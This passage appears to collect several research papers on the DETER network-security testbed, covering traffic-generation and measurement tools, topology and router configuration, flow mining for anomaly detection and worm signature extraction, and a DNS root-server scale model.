set, or if a TCP stream transitions from low-rate to high-
rate, which is likely not common.

5 Worst-Case Cache Behavior

We plan to assess worst-case cache behavior by building
a small UDP-based stress-test program. Although we can
already predict the average miss rate from a trace-based
analysis, processing worst-case traffic enables us to dis-
cover artifacts or bugs which might still be lurking in cor-
ner cases not stressed by normal Gbps streams.

We will synthesize worst-case behavior using a daemon
program that upon activation allocates a group of UDP
ports. For sending, it randomly selects both source and
destination ports from the group. With 1,000 allocated
ports on two systems, we can create traffic which repre-
sents 1,000,000 simultaneous 5-tuple flows.

In building such a stress tester, it is important to under-
stand the device being tested. Since our device treats TCP
and UDP identically, and matches only on the complete
5-tuple, randomizing the source and destination ports al-
lows us to completely cover the space, without having to
set up TCP connections or track all the state.

6 Expected-Case Cache Behavior

Our final planned test is to stress expected cache behav-
ior using our enterprise source models. These models,
which we previously used for testing AC-TRW [4], create
network traffic which looks “normal” on the connection
layer, based on analyzed traces of network traffic. Thus,
the traffic setup will allow us to assess how well the cache
can manage on normal traffic. Furthermore, because we
will be using abstract source models, we can readily vary
the volume of traffic to vary the network stress on the
Shunt’s cache.

While we expect that with normal TCP profiles, the rel-
atively small (32K entry) connection cache will suffice to
sustain a very small miss rate, we need to verify this ex-
perimentally, since the sizing of the cache has significant
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implications for the cost of the design.

7 VLAN Rewriting

Going forward, we are planning experiments where the
network device rewrites packet VLAN tags. Doing so will
require coordination with testbed operations, since it di-
rectly affects the testbed’s interconnection infrastructure.
We have discussed these requirements with the DETER
operators and will be pursuing a configuration for the ex-
periment in the coming months, as follows.

Currently, Emulab software only supports untagged
ports, with each experimental Ethernet port only on a sin-
gle VLAN. We do not envision extending Emulab soft-
ware to support VLAN-based experiments soon, because
such support is not necessary for the great majority of DE-
TER users.

Instead, we intend to create a static experiment, and
then modify the VLAN information for experimental
ports through the control network. By manually specify-
ing ports as tagged and spanning multiple VLANs rather
than untagged, these VLAN-experiment ports can support
the full gamut of VLAN-rewriting tests.
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I. INTRODUCTION

Any network experiment requires three key components: (i)
topology generation, (ii) control, and (iii) instrumentation and
data collection. Network topology generation and route config-
uration is the most difficult component of the three. The genera-
tion of realistic yet as-small-as-possible experimental topologies
remains an open research problem. Control and data collection
are equally important but are more straightforward, and need to
be tailored for the specific experimental environment. In simu-
lators, control and data collection are trivial, but this is not the
case on real test networks. Our tools were built for testbeds such
as DETER, Emulab, or WAIL, containing physical PCs running
production operating systems.

The remainder of this paper is organized as follows. Section II
describes the topology generation and router configuration tools
we have developed. Section III explains our event control sys-
tem. Section IV describes our data acquisition tools. Finally,
Section V concludes the paper.

II. TOPOLOGY GENERATION AND ROUTER

CONFIGURATION

It is imperative to have representative benchmarks including
Internet topology data (which is constantly evolving) continu-
ously available for the security research community. Towards
this end, we are developing a tool suite that makes it easy to
use real or generated topologies with dynamic (intra-domain and
inter-domain) routing on DETER.

The first tool in our suite is similar to RocketFuel [9] from the
University of Washington. RocketFuel includes components for
alias resolution, and for inference of several routing (e.g., Open
Shortest Path First (OSPF) routing weights) and geographical
(e.g., location) properties. A few of the components of Rocket-
Fuel as well as several sample topologies are available through
the ScriptRoute [10] project and the RocketFuel web pages, but
the complete tool is not available for download. Our tool, which
we refer to as NetTopology, invokes a limited number of tracer-
oute commands from different traceroute servers [2] and synthe-
sizing the routes and latency information.

Configuring routers running the Border Gateway Protocol
(BGP) poses a significant challenge, since Internet Service
Providers (ISPs) use complex BGP policies for traffic engineer-
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ing. We utilize the work by Gao et al. [6], [13] to infer Au-
tonomous System (AS) relationships, and use that information
to configure BGP routers. To obtain the AS relationships, we
use information made available by the University of Oregon
RouteViews project. We utilize the RouteViews Cisco Format
tables, and files from the straightenRV tool that is discussed on
the RouteViews web page. Two of the files output by straight-
enRV are used (.full and .as). Our tool outputs a map from each
pair of ASes to the relationships they have.

In order to generate benchmarks that can be directly used
on a testbed like DETER, we have developed two additional
tool sets: (i) RocketFuel-to-ns which converts topologies gen-
erated by RocketFuel-like tools to DETER-compliant configu-
ration scripts, and (ii) RouterConfig a router configuration script
suite that can be used to configure routers (e.g., PCs running
routing software) to run BGP and OSPF with the appropriate
parameters according to their roles in the topologies.

RocketFuel-to-ns allows the user to specify a set of Au-
tonomous Systems on the command line, or we perform
breadth-first traversal of the topology graph from a specified AS
number, with specified degree bounds, and a specified number
of nodes bound. This enables the user to select topologies of
only tens of nodes up to a few hundred nodes out of very large
topologies. Figure 1 depicts an example topology generated by
RocketFuel-to-ns, captured from the DETER testbed interface.

The RouterConfig tool suite can be used to configure routers
both in (a) topologies based on real Internet data, and in (b)
topologies generated from the GT-ITM topology generator [14].
We have selected GT-ITM since it generates representative
topologies, even when the number of nodes in the topology is
small [11]. In fact, a key problem we are investigating is the
scale-down of a topology of several thousand or even millions
of nodes to a few hundred nodes (which is the number of nodes
typically available on a testbed like DETER).

In the case of a GT-ITM topology, RouterConfig classifies the
nodes of the GT-ITM topology as OSPF routers, BGP routers, or
non-router nodes. It also specifies the domain the node belongs
to and the type of that domain (transit or stub).

The router configuration files that RouterConfig generates can
be executed when the experimental node boots or reboots. The
average time required to edit the configuration files manually
for an experiment with 40 nodes is about 2–3 hours, because the
process requires setting IP addresses for every node in the files.
Using our RouterConfig tool, it only takes a few seconds for the
process to complete.

Figure 2 gives a data flow digram that illustrates the inputs
and outputs of our topology generation and router configuration
tools for emulation testbeds like DETER.
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Fig. 1. A sample topology on the DETER testbed.
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Fig. 2. Topology generation and router configuration tools data flow digram.
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III. EVENT CONTROL SYSTEM

In network simulators such as ns-2 [12], GTNetS [1],
iSSF/iSSFNet[8], and OPNET [3], it is easy to create a topology,
assign tasks to the nodes, and monitor every single packet. A
basic testbed – without any software support that mirrors some
of these capabilities – is limited in its usefulness, since it re-
quires the experimenters to be experts in system-level program-
ming. Achieving the same level of control provided by a simu-
lator on physical testbed machines is a significant undertaking.
Basic topology creation capabilities are provided by emulation
testbeds, such as Emulab and DETER, but an experimenter only
acquires bare machines that form the desired topology, without
any tools running on them.

A natural approach to describe the tasks that must be per-
formed on the testbed nodes is to use event scripts, much like
events in an event-driven simulator. The Emulab software im-
plements a few event types such as link failures; however, most
of the interaction with the nodes must be performed via a secure
shell (SSH) session. We have designed a flexible mechanism to
control all test machines from a central location, since manu-
ally using each computer is impossible, especially when timed
events are involved. We have developed a multi-threaded util-
ity, which we refer to as a Scriptable Event System, to parse
the script of timed events and execute it on the test machines
(communicating with them on the control network). Our util-
ity is capable of receiving callbacks for event synchronization.1

Figure 3 depicts the architecture of our system.

Node B

Master Server

Node C
Test Network

Node A

Network
Control

Fig. 3. Master/Zombie control network.

IV. MEASUREMENT TOOLS

This section describes the measurement tools we have created
and the packet generation utility which we have used to verify
our measurements.

A. Host Statistics

Instrumentation and measurement on a testbed pose a signif-
icant challenge. The capability to log and correlate different
types of activities and events in the test network is essential.
Not only are packet traces important, but also system statistics
must be measured during very high loads. We have developed
a set of tools to log events on the test nodes on a per second
basis. Statistics such as CPU utilization, packets per second,

1This software can be freely downloaded from
http://www.cs.purdue.edu/∼fahmy/software/emist/

and memory utilization are logged to the local disk for later ma-
nipulation. We have the capability to collect measurements on
Linux nodes via system files and also query Cisco routers using
SNMP from a PERL script. Scripts for measuring, merging, and
plotting system data are also available for download.

B. Link Monitoring

In simulators, it is straightforward to monitor a link and col-
lect statistics such as packet rates and traffic. In an emulation
environment such as DETER or Emulab, we need to create our
own tool to do so. The link monitor is constructed out of two
components (Figure 4). The first component mirrors all passing
traffic to a logging node. The second component is the log-
ger which executes tcpdump. Separation of packet duplication
and logging ensures that there is no competition between the
two tasks. We have created the first component (the mirror) by
modifying the Linux bridge module and also by using the Click
modular router [7]. The mirror/logger can be added between the
two experimental nodes transparently so that the nodes are on
the same subnet. In addition to logging, the mirroring element
can be used to create a hub, which is needed for experimenting
with many intrusion detection systems such as Manhunt from
Symantec. More details on this utility can be found in [5]

eth0 eth1

eth2

tcpdump 
logger

copied

Bridge/mirror

Node B Node A

Fig. 4. Link monitor architecture.

C. Packet Generation

In order to benchmark the performance of systems on the
testbed, we developed a highly flexible packet generation utility.
The utility is capable of variable packet rates by utilizing UNIX
real-time timers. In addition to supporting different packet gen-
eration rates, the tool can also generate varying packet sizes and
supports ICMP, UDP, and TCP packet headers. We have also de-
veloped a pulsing mode for this tool, which can simulate highly
periodic traffic.

V. CONCLUSIONS

This paper has described the three required types of tools
that we have developed in order to facilitate experimenta-
tion on emulation testbeds. Our control and measurement
tools are also suitable for any laboratory test network, as
they are independent of the emulation environment. More
details about our tools can be found on our web page
http://www.cs.purdue.edu/∼fahmy/software/emist/ and in [4],
[5].
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I. INTRODUCTION 
DENTIFICATION of frequent item sets in databases is a 
general-purpose data mining capability that has recently 

found network traffic applications [6][1], in particular 
specifying flows based on the 5-tuple of attributes in the IP 
header – we refer to this traffic analysis as flow mining. While 
there is much prior work in measurement of Internet traffic, 
identifying dominant (“heavy hitter”), multidimensional flows 
[1] sent over a given link, over a specified time interval, has a 
variety of applications in network management and security. 
First, the identified flows may form a concise digest, for 
consumption by a network administrator, to alert him/her to 
current traffic patterns, i.e., flow mining could identify an 
unusual amount of traffic sent to a single IP address, 
indicative of a flash crowd or a DDoS attack. Second, there 
are applications in security simulations. For captured real 
traces, to be used as background traffic in experiments, mined 
flows provide almost an annotation of the trace’s main content. 
Flow mining can also be used to greatly extend and focus 
powers of data visualization, both in simulation and live 
network contexts. In many cases, the salient traffic features 
will be unknown a priori, e.g., which parts of the network are 
impacted by an attack and what are the effects of a deployed 
defense (e.g., auto-immune effects). Flow mining may 
automatically distill these phenomena, focusing visualization 
tools to allow an administrator to scrutinize the most 
meaningful content.  

Finally, as a key premise of our recent research [12][11], 
flow mining can also be a core component of an anomaly 
detection system running on a router. In this context, mining, 
in conjunction with a method for assessing flow abnormality, 
can be used to automatically identify the significant traffic 
flows that are suspicious. One can then block traffic that fits a 
suspicious flow definition or run more sophisticated anomaly 
detection processing, perhaps performing deep payload 
inspection or change detection techniques [5][14] on each 
suspicious cluster. Since the mined flows are narrowly 
specified by restricted value ranges along multiple dimensions, 
this can give pinpoint identification of the anomalous flows. 
This is in contrast to methods which perform detection on all 
the traffic, examining fixed, single attribute fields (e.g. just 
looking at the range of destination IPs [2]). This may identify 
that an attack is present but will not in general give a precise 
specification of the attacking flow. There is some prior work 
done by AT&T [14] consistent with this detection philosophy; 

however, the full potential of flow mining for intrusion 
detection has not been exploited in past work.  

An important distinction between techniques is whether 
they capture the hierarchical nature of attributes in defining 
and identifying prominent flows, e.g., [1] does represent 
hierarchical attributes while [13] does not. Generally there are 
two motivations for using a hierarchy. First, nodes at different 
levels capture data at different “scales”. Second, one may only 
care about the description at the finest scale (at the leaves), i.e. 
where the flows are as precisely specified as possible. Even so, 
use of a hierarchy may be the most efficient way of computing 
the leaf description. In frequent item set mining, hierarchies 
have played both roles. A flow is “frequent” or “significant” if 
its aggregate traffic, measured over a given time interval, is 
greater than a threshold level. This “significance property of 
the hierarchy” allows one, via a top-down, root-to-leaf process, 
to promptly reject many candidate item sets (those with any 
insignificant ancestors) and to identify the most specific 
frequent sets in an efficient manner. In [1], a structure was 
advanced that captures the hierarchical nature both of 
individual attributes (source and destination IPs) and of 
collections of attributes. This multidimensional flow hierarchy 
defines flows with flexible specificity, attractive for digesting 
purposes, where one may wish to view the dominant traffic at 
several levels of description. While [1] did aim to optimize 
mining efficiency, their work was proposed for off-line 
auditing and they did not investigate the possibility of use for 
intrusion detection or real-time applications. In recent work 
[12], we improved computational efficiency over [1], seeking 
viability as an on-line procedure. Based on this work, we 
created the NTD tool, available as part of the EMIST toolkit, 
at http://emist.ist.psu.edu/. We also made initial progress in 
applying flow mining to anomaly detection. In the next 
sections, we review the main results of [12], and then discuss 
our continuing research, which focuses on detection and 
signature extraction for the formidable polymorphic variety of 
Internet worms. Central to this approach is the integration of 
our flow mining within the detection, both to improve 
accuracy of extracted worm signatures and to reduce 
complexity. 

II. MULTIDIMENSIONAL, HIERARCHICAL FLOW MINING OF 
NETWORK TRAFFIC 

We consider flows defined by the 5-tuple (source IP, 
destination IP, source port, destination port, protocol). The IP 
addresses are hierarchical, i.e., binary prefixes of variable 
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specificity, from 8 up to 32 bits. The protocol is treated as a 
flat, i.e. nonhierarchical, attribute. The ports are each 
represented using a very simple hierarchy, with the range first 
divided into low (< 1024) and high (> 1023) groups, and a flat 
representation for each group. Each attribute may also take on 
a wild card (*) value, indicating this attribute is not used in 
defining the flow. The set of all possible flows, consistent with 
the above definition, can be represented by a multidimensional 
flow hierarchy [1]. The mining objective in [1] is to identify 
all nodes in the flow hierarchy with aggregate flow count 
(measured over the time window) greater than a specified 
threshold. The count may be measured either in packets or 
bytes. We next describe the mining in [1] in more detail.  

A. Identifying Significant Unidimensional Flows 
The method starts by considering the (unidimensional) 

hierarchy for each attribute, identifying, for this single 
attribute, all “significant” flows. This can be easily done for 
the port and protocol attributes. For the IP attributes, the 
authors identify all significant flows in a bottom-up fashion. 
First, taking a single pass over the trace (or over the derived 
Netflow table of all unique 5-tuples), the size of each leaf is 
computed. Next, the hierarchy is traversed from leaf up to 
root, aggregating the counts of all children in calculating the 
count of their parent. Once computed, a node’s count is 
compared to the threshold to determine significance. Only 
significant nodes need be stored for later use. 

B. Identifying Significant Multidimensional Flows 
While unidimensional clustering has digesting value on its 

own, its primary role is in speeding up the (subsequent) 
algorithm for building the multidimensional hierarchy. 
Whereas unidimensional hierarchies are built in a bottom-up 
fashion from the leaves, the multidimensional hierarchy is 
built top-down, level-by-level, starting from the root (k = 1). 
In going from level k - 1 to level k, one is further specifying a 
single attribute value. The root node is always significant. The 
next level consists of (partitioned) flows along each attribute 
dimension. Each flow at this second level is checked for 
significance. This is done by a flow matching operation, i.e. 
by matching the flow’s definition against the definition of 
each flow in the Netflow table and, if a match occurs, adding 
to the current accumulated flow count. For each subsequent 
level, [1] identifies significant nodes in the hierarchy via the 
algorithm in Table 1. Some explanation is in order. To reduce 
the number of (computationally heavy) flow count passes 
taken over the Netflow table, the algorithm tests two necessary 
conditions for flow “significance” before resorting to actually 
measuring the size of a flow. The first test checks significance 
of all unidimensional ancestors, while the second test 
capitalizes on the “significance property of the hierarchy” to 
reject flows that have any insignificant parents. After 
identifying all significant nodes, the authors proposed a simple 
“compression” algorithm to reduce the size of the ultimate 
(retained) hierarchy.  

C. Improving Multidimensional Flow Mining Efficiency 
Since a large fraction of the computation in [1] is spent in 

flow matching operations, we proposed paradigms for greatly 

reducing the number of needed flow matches [12]. These 
improvements were mainly achieved by capitalizing on the 
hierarchical nature of the data mining structure, which allows 
measuring a flow’s size by matching in a small table whose 
elements match the definition of a parent of the given flow, 
rather than matching in the full (large) Netflow table. We also 
proposed a top-down unidimensional clustering method for 
the source and destination IP dimensions (rather than the 
bottom-up method in [1]) in order to avoid the potentially 
huge memory (and/or computational) requirements associated 
with the generation of the leaf nodes for the two IP address 
dimensions, which are required for a bottom-up method.  

In experiments on the New Zealand (NZIX) trace data [10] 
reported in [12], for 30-minutes, 1-hour, 2-hour, and 3-hour 
traces, our new mining method reduced the number of 
attribute match operations by a factor of 9.40 (averaged over 
all four trace lengths), and reduced the total execution time 
(based on our implementation of both algorithms) by an 
average factor of 8.21, compared with [1]. For the 1-hour New 
Zealand trace and a 5% threshold on the flow size, the 
execution on a 3-GHz Pentium-4 PC was less than 13 seconds 
for our method. These results suggest our method will be 
useful in real-time networking applications. We next explore 
one such application – network anomaly identification. 

III. ATTACK AND ANOMALY IDENTIFICATION DRIVEN BY 
FLOW MINING 

We have evaluated the potential of our mining for 
localizing attack traffic, as well as for accurately identifying 
anomalous clusters, within a pool that contains many 
“innocuous” clusters. For the latter goal, we proposed a simple 
criterion based on the (flow-conditional) distributions of the 
individual header fields. If the time interval for digesting is 
made sufficiently small, mining may capture the attack at an 
early stage. In this case, one can treat identified anomalous 
clusters as “suspicious” and apply more sophisticated 
processing solely to the traffic subsets that fit these cluster 
definitions. This more detailed processing could involve 
payload inspection. It could also involve change detection or 
other methods applied to time series (e.g. interpacket arrivals) 
gleaned from the given flow. Definitive detections could then 
be based on more information than just the packet header 

 
Begin{multidimensional clustering} 
for k = 3 to maxdepth 
for each significant node at level k - 1: 
1. Identify all of the node’s children (at level k). 
2. for each child, if its flow size has not already been checked: 

i. Check whether all the 1-D ancestors of the flow are significant. 
ii. If i. is true, check whether all parents of the flow are significant.
iii. If i. and ii. are true, measure the flow size using the Netflow 

table, as previously discussed. If the flow is above the 
threshold, save it (and its size) as a “significant” node in the 
hierarchy. 

end for 
end for 

end for 
End{multidimensional clustering} 
 

 
Table 1. The algorithm pseudocode for multidimensional clustering. 
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distributions, which should thus achieve more reliable 
decisions. This overall detection framework, which 
concentrates resources on detailed inspection of “suspicious” 
flows that are first identified, should localize attacks much 
better than systems which focus on only a single attribute (e.g., 
monitoring unusual ports). Moreover, the complexity will be 
much less than systems which do localize attacks, but only by 
monitoring many flows (e.g. every flow specified by a unique 
source or destination IP).  
Criterion for Anomaly Identification 

Many criteria have been proposed in the past, e.g. 
monitoring ports, the distribution of destination IPs, and flow 
sizes. In [1], a single criterion, dubbed “unexpectedness”, was 
proposed based on the discrepancy between the actual flow 
volume and the volume predicted based on assuming 
statistically independent attributes. In [12], we proposed an 
alternative measure motivated by information theory, based on 
the (Shannon) entropy of individual header fields. For a given 
cluster, k, we first define the source/destination IP entropy as: 

( ) P[ ]log P[ ]
l

H IP l l  k = −∑  

where l are IP addresses in cluster k that occurred in the 
current digest interval, and 

number of packets (bytes) in cluster  with IP = 
P[ ]

number of packets (bytes) in cluster 
k l

l
k

= . 

For packet (byte)-based reports, the probabilities P[l] are 
computed based on packets (bytes). This quantity measures 
the degree of uncertainty in the IP address associated with a 
packet (or byte), conditioned on the packet (byte) belonging to 
the given cluster. For DDoS attacks or flash crowds, within an 
attack cluster, we would expect the source IP entropy to be 
much larger than the destination IP entropy. On the other hand, 
for a fast scanning worm, “worm clusters” should have a 
much larger destination IP entropy. We thus suggested to 
combine these two entropies, forming a single statistic which 
we dubbed the absolute IP difference in entropy (AIDE), i.e. 

( ) ( ) ( )AIDE k H source IP H destination IPk k= − . 
While it is possible to more generally look at entropies in 

individual header fields, this simple (AIDE) criterion is 
attack-discriminating, as was demonstrated for Slammer, 
DARPA, and CodeRed traces in [12], compared with the 
“unexpectedness” measure proposed in [1]. In Figure 1, we 
show our mining report for slammer worm [8]; and in Figure 2, 
we show anomaly detection applied to this report – note that 
the top four AIDE-ranking clusters are pure attack/worm. By 
contrast, “unexpectedness” is not attack-discriminating. 

For digesting purposes, one may be interested in all 
narrowly specified significant flows. However, for detection 
one really only needs to identify the anomalous subset of such 
flows. Thus rather than initially identifying all significant 
flows, it should be substantially more efficient to somehow 
only directly mine the (small) set of suspicious flows. A 
simple step along these lines is achieved by treating the 
destination port as a flat, rather than hierarchical variable. This 
is reasonable since most packets from a common attack use 
the same port. This restriction can not only remove a 
significant portion of the multitree, but also helps to achieve 
greater purity of the attack in a mined flow, useful for worm 
signature extraction. Moreover, for measuring flow 
“abnormality”, instead of using AIDE or entropy-based 
criteria which are not guaranteed to keep monotonically 
decreasing when building up the multitree from root to leaves, 
in [11] we propose to use the source and destination IP 
cardinalities of a flow. With thresholds properly set, low 
cardinalities (below threshold) may not only accurately 
identify a given node is “innocuous”. Given that cardinalities 
decrease as one descends, it may also reliably indicate all the 
node’s descendants are innocuous. In this case, we can prune 
this entire branch of the multitree. Based on our experiments 
in [11], this approach reduced the mining computations by a 
factor of three while accurately distilling the abnormal subset 
of significant traffic flows.  

IV. WORM SIGNATURE EXTRACTION AND POLYMORPHIC 
WORM DEFENSE 

The speed of recent self-propagating (scanning) worms 
represents a major challenge to the design of effective 
detection and containment systems. Several recent, ambitious 

No Src IP Dst IP  SrcPt DstPt Pr Byte Pkt Perc 

1 10.0.0.0 
/23 

10.0.0.0 
/16 high 1434 17 11.9M 30.1k 7.0% 

2 10.0.0.0 
/25 

10.0.0.0 
/16 high high 17 8.8M 37.1k 5.1% 

3 10.0.0.0 
/21 

10.0.128.0 
/17 high 1434 17 8.8M 22.2k 5.2% 

4 10.0.0.0 
/21 

10.0.0.0 
/17 high 1434 17 9.9M 25.2k 5.8% 

5 10.0.0.0 
/28 

10.0.0.0 
/17 high high * 9.6M 14.4k 5.6% 

6 10.0.0.0 
/23 

10.0.0.0 
/17 high high 17 11.2M 70.7k 6.6% 

7 10.0.0.0 
/27 

10.0.0.0 
/18 high high * 8.8M 16.0k 5.2% 

8 10.0.0.0 
/16 

10.0.8.0 
/21 high high 6 10.5M 10.8k 6.2% 

9 10.0.0.0 
/21 

10.0.0.192 
/29 high high 6 8.5M 5.9k 5.0% 

10 10.0.0.32 
/27 

10.0.0.32 
/27 high high 6 11.5M 30.5k 6.7% 

 
Figure 1. Multidimensional clustering report of Slammer worm trace.[12]  

Figure 2. AIDE and unexpectedness distribution of Slammer worm trace.[12]



 4 

 

efforts [9][4][7] have been proposed to automatically extract 
worm signatures from Internet traffic, so as to achieve a 
prompt containment and defense response. We now 
summarize these approaches along the way to identifying 
important limitations of each. All three methods above have 
limitations pertaining to flow mining – Earlybird [9] measures 
address dispersion, but only after having already performed 
deep inspection on every packet (or a packet subsample). 
Autograph and Polygraph [4][7] suggested front-end flow 
classification to create suspicious and innocuous pools. 
However, they did not develop nor experimentally evaluate 
actual flow classifiers. Moreover, flow classification is not the 
same as flow clustering – one would like to not only separate 
out a suspicious flow pool, but also separate different 
attacks/anomalies into distinct clusters. Multidimensional flow 
mining, used in conjunction with header anomaly detection 
discussed above, provides a natural way to resolve these 
problems. Moreover, by using a fixed window of 40 bytes, 
Earlybird cannot correctly extract the worm signatures (or 
prevalent bytes in polymorphic worm images) which are less 
than this length. Autograph suggested to partition payloads 
into variable-length, non-overlapping blocks; however, their 
predefined breakmarks should not work effectively for 
different kinds of worms, especially day-zero worms. 
Polygraph uses the Color Set Size method [3] to find the 
longest substring that occurs in at least k of n payloads; 
however, the method in [7] to extract signatures for one or 
multiple worms is too slow to meet the requirement for fast 
worm signature extraction. 

In recent work [11], we proposed to apply flow mining and 
header-based detection as the front-end processing, with 
signature extraction solely performed on each cluster in the 
(small) subset of suspicious clusters. This change of order 
compared to Earlybird, with address dispersion first evaluated 
and deep packet inspection only performed on the suspicious 
flow subset, greatly reduces complexity and allows devotion 
of more sophistication to the worm signature extraction (to be 
applied only to suspicious flows). A generalized suffix tree [3] 
– in which every suffix string, in each payload of the packets 
in a flow, is represented by a leaf – is built in O(n) time and 
space, where n is the total length of all payloads. The length 
and frequency of the prefix of each vertex are also calculated 
and counted while building up the suffix tree. After building 
the entire tree, we traverse the tree and pick out the suspicious 
worm signatures, those which satisfy specified criteria. 
Alternatively, automated methods can also be used to extract 
the signatures. In order to make the reported signatures as 
specific and nonredundant as possible, we remove those 
signatures that are substrings of other signatures. For each of 
the remaining suspicious signatures, a false positive rate is 
computed based on the innocuous pool (if available). By 
jointly considering signature length, frequency, and false 

positive rate, we can extract complete and accurate worm 
signatures from each of the suspicious flows. For a digesting 
interval T, if packets arrive in [0, T], flow mining can be 
performed on them in [T, 2T] and signature extraction in [2T, 
3T], etc. Thus, packets arriving in [0, T] can translate into 
signatures by/before 3T. Payloads will be stored for packets 
matching a suspicious flow definition (to be used for signature 
extraction) after the flow is initially identified as “suspicious”. 
Moreover, to reduce/remove delays in collecting payloads 
from these flows, if payload subsampling and storage is 
performed continuously, we can also identify already stored 
payloads meeting the suspicious flow definition and also use 
these in extracting signatures.   

We have evaluated our approach on a real trace from a /24 
in Taiwan, representing peer-to-peer activity, salting the trace 
with worm traffic based on two realistic polymorphic 
mechanisms that we have proposed. We will report our (quite 
promising) results in extracting accurate worm signatures at 
the conference. 
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Introduction 
Our project using DETER is to build a 
functioning model of the DNS Root System. 
Our goal is to make this model as realistic as 
possible. Obviously we cannot model the 
entire Internet in DETER, but we would like 
to build a highly realistic scale-model of the 
Internet that incorporates the DNS Root 
System in it. 

The DNS Root System is composed of 13 
lettered (A-M) root server “clusters”. We call 
them clusters because most of the clusters 
consist of multiple servers. These servers are 
arranged in various ways to form clusters, or 
nodes. They are deployed throughout the 
Internet and use Anycast Routing to provide 
service to the Internet. 

Anycast Routing is a method that uses BGP 
to increase reliability of a service using 
redundant servers. The servers are clustered 
into Anycast Nodes, and these nodes are 
deployed to various points on the network. 
Each node announces a route for a single 
service address into the BGP routing table. 

Each Root Server cluster has a single IP 
address associated with it. This IP address is 
announced via the enclosing /24 subnet into 
the global routing table by each Anycast 
Node for that cluster. For instance, each 
node of the F-Root cluster announces a 
route containing the address 192.5.5.241. 
This is Anycast Routing. 

From a client perspective, only a single F 
Root server is ever seen. The router 
connecting the client to the Internet makes a 
decision using the BGP routing table on 
which F Root server to send traffic to. If that 
specific server ever fails, the enclosing 
Anycast Node withdraws the route and 
routers will choose a different F Root server 
to send traffic to. 

Internet Scale-Model 
Our scale model is going to follow the real 
Internet as much as possible. Our plan is to 
build multiple, large, interconnected 
autonomous systems to emulate the biggest 
Internet Service Providers and the global 
routing table. To these large autonomous 
systems we will connect (some via multiple 
paths) smaller autonomous systems 
modeling the out tiers of the Internet. To the 
autonomous systems we will connect 
customer sites (again, some via multiple 
paths) to emulate enterprise networks 
attached to the Internet. Our plan is that by 
building our topology in this manner, we can 
better model the real Internet. 

Once we have our model built, we will 
“deploy” the DNS Root System into our 
Internet. We will do this by building Anycast 
Nodes of DNS servers and placing them at 
points around our Internet. Each node will 
announce the route of the DNS Root Server 
cluster that it is a part of into our global 
routing table. 

Since we are setting up DNS servers 
answering for the root zone, we have chosen 
to use DETER to build this model. The 
isolated nature of DETER ensures that the 
real Internet will never see or gain access to 
these servers. Additionally, since DETER is 
isolated, and to try and maintain a higher-
degree of realism, we plan on using the 
actual IP subnets assigned to the Root 
Server clusters. We also plan on using real 
IP addresses and AS numbers for each of the 
autonomous systems we build. 

Our scale-model approach is highly 
ambitious and will possibly be very difficult 
to scale-up to any large, meaningful size. 
Additionally, manually configuring this 
topology, including the routing and DNS 
configurations is extremely difficult and 



time-consuming and does not survive the 
DETER swap process. 

Programmatic Generation 
To better help build our experiment 
topologies, and also to help it scale up 
slightly, we have developed a set of TCL 
procedures that are included in an 
experiment’s NS file. These procedures can 
programmatically build a topology, 
including core router LANs, border router 
interconnects, access router LANs, and 
customer LANs. These initial four pieces 
have allowed us to specify a simple array to 
describe the layout of multiple, 
interconnected autonomous systems and 
have the experiment topology built for us. 

Of course, once the topology is built, the 
routing configuration on the nodes must be 
built. To handle this, we are developing a set 
of Perl procedures that can be run as a start-
command from an experiment’s NS file. 
These procedures will programmatically 
build the routing configurations for each of 
the nodes in the experiment using routing 
descriptions in the simple array. The code 
will be able to handle both IGP and EGP 
routing configurations as well as customer 
LANs and autonomous system 
interconnects. 

Another plan for these procedures is to build 
the DNS configurations for the Root Server 
System as well. This will allow all aspects of 
the experiment to be described in the array 
such that all topology generation and service 
configuration is carried out 
programmatically on experiment creation 
and swap-in. Also, the goal is to have the 
code be modular such that additional 
modules could be added for other service 
types, expanding the use of this code beyond 
just for DNS service modeling. 

Current Progress 
Currently we have the TCL procedures 
written to handle a single “type” of ISP 
network. As such we have a fairly interesting 
three autonomous system topology with 
multiple interconnection links between the 
networks and including multiple customer 
LANs and DNS Anycast Node LANs. 

The topology currently uses IANA reserved 
subnets for IP addresses. Each AS is 
assigned a subnet and customers are 

numbered from the subnet corresponding to 
the “ISP” they are connected to. The array is 
specified to include the routing 
configurations for the networks, including 
IGP announcements, EGP announcements, 
router loopback addresses, customer 
connections, and border interconnections. 

See the included network map for a 
graphical representation of our current 
topology. 

We have started the Perl procedures but 
only in a skeleton form that parses the array 
and prints out the data. We have some other 
code started to generate configurations for 
the Juniper routers. 

Next Steps 
The next critical step is to get the Perl 
procedures working such that routing 
configurations for the nodes are 
programmatically generated. We are 
focusing first on the Quagga routing suite 
running on the nodes. As we progress down 
this path, the plan is to incorporate support 
for the Juniper routers, most likely in the 
role of border routers for AS 
interconnections. The TCL procedures will 
need to be modified to support two types of 
“routers” (node-based and juniper-based) 
and the Perl procedures will evolve to build 
both Quagga and Juniper configurations. 

Once the routing configurations are being 
generated, we will then write the Perl 
procedures to generate the DNS service 
configurations. These configurations will 
initially focus on BIND but will be extended 
to include configuration for NSD and ANS. 

Potential Issues 
Our largest potential issue right now is 
scalability. The current procedures are 
inflexible and require a large amount of data 
in the description array. One possible 
approach to solve this is to develop pre-
defined templates for autonomous systems 
such that all that needs to be specified is the 
AS type and the subnet that will be assigned 
to the generated AS. 
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Abstract
The increasing availability of network testbeds, such as
DETER [1] based on Emulab, for simulation or emula-
tion has called for the emergence of related support tools
to interact with testbeds. In this article we introduce an in-
tegrated experiment specification and visualization toolkit
named ESVT. The main functionalities of the ESVT includ-
ing topology design, script generation, and visualization
are presented with examples.

1. Introduction

To conduct a network emulation experiment on testbeds,
the following experimental components are normally re-
quired.

• Network physical topology - The first step of a net-
work experiment is to define or design a topology.
Experimenters need to decide the number of end-
host nodes, server nodes, router or switch nodes, sub-
network or Internet virtualized nodes, links intercon-
necting these nodes, and parameters associated with
the above such as the bandwidth and latency of the
links.

• Experiment Script - Normally, the running of a net-
work experiment is controlled by a pre-written script
file. For large scale experiments, drafting and mainte-
nance of scripts files may be very time-consuming.

• Traffic analysis or visualization - Analysis tools can
support such operations as format conversion, filter-
ing, re-ordering, digesting (clustering and categoriz-
ing), and data mining.

Tools for supporting these functions are typically hard
to find or use, or not well integrated together. For the con-
venience of testbed experimenters, the EMIST team has
developed an Experiment Specification and Visualization
Tool (ESVT) [2], which provides an integrated environ-
ment to interact with DETER or other Emulab-based test-
beds and to conduct network security emulation/simulation

Figure 1. Change the component property.

experiments. The ESVT is a modular, component-based
topology editor, a TCL script generator, a worm experiment
